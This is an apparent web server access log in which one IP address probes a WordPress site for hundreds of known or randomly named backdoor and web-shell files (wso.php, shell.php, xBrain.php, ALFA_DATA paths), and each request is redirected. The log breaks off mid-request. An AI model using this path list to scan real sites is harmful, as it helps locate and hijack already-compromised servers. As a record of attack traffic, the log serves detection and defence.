40.69.222.47 - - [14/Apr/2025:23:58:56 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:58 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:59 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:00 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:00 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:02 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:03 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:05 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:07 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:09 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:11 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:15 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:15 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:19 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:21 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:24 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:27 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:29 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:30 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:33 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:36 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:37 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:38 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 185.132.187.136 - - [14/Apr/2025:23:59:39 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:59:39 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:40 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:41 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:42 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:43 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:45 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:46 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:47 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:48 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:48 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:49 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:50 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:51 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:52 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:53 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:55 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:56 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:57 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:59:59 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:00 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:01 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:02 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:03 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:05 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:07 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:08 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:09 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:12 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 185.132.187.164 - - [15/Apr/2025:00:00:12 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [15/Apr/2025:00:00:14 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:15 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:15 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:18 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:20 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:22 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:24 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:26 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:27 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:29 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:30 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:32 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:33 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:34 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:36 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:37 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:39 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:41 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:42 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:43 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:45 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:46 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:47 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:48 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:49 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:50 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:52 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:53 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:54 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:00:57 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:00 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:03 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:05 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:26 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:31 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:36 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:38 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:41 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:45 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:49 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:50 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:53 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:57 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:01 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:03 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:06 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:09 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:14 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:18 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:24 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:30 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:35 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:41 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:44 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:48 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:51 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:54 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:54 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:57 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:03:58 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:00 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:02 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:03 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:05 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:06 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:08 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:10 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:12 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:13 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:15 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:18 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:09 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:13 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:18 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:21 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:25 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:27 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:28 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:31 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:34 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:37 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:40 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:44 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:47 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:49 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:51 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:52 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:54 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:01:59 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:03 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:07 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:11 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:15 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:17 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:02:20 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:21 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:24 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:26 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:29 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:33 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:36 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:39 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:41 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:43 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:46 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:48 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:51 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:53 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:55 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:04:59 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:07 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:13 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:17 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:21 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:26 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:28 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:31 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:33 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:35 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:38 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:39 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:42 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:46 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:49 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:50 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:53 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:55 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:05:58 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:05 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:10 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:14 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:18 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:21 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:25 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:29 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:32 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:35 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:39 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:41 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:44 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:46 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:49 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:52 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:53 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:55 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:56 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:57 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:06:59 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:07:00 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:07:01 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [15/Apr/2025:00:07:04 -0400] "GET 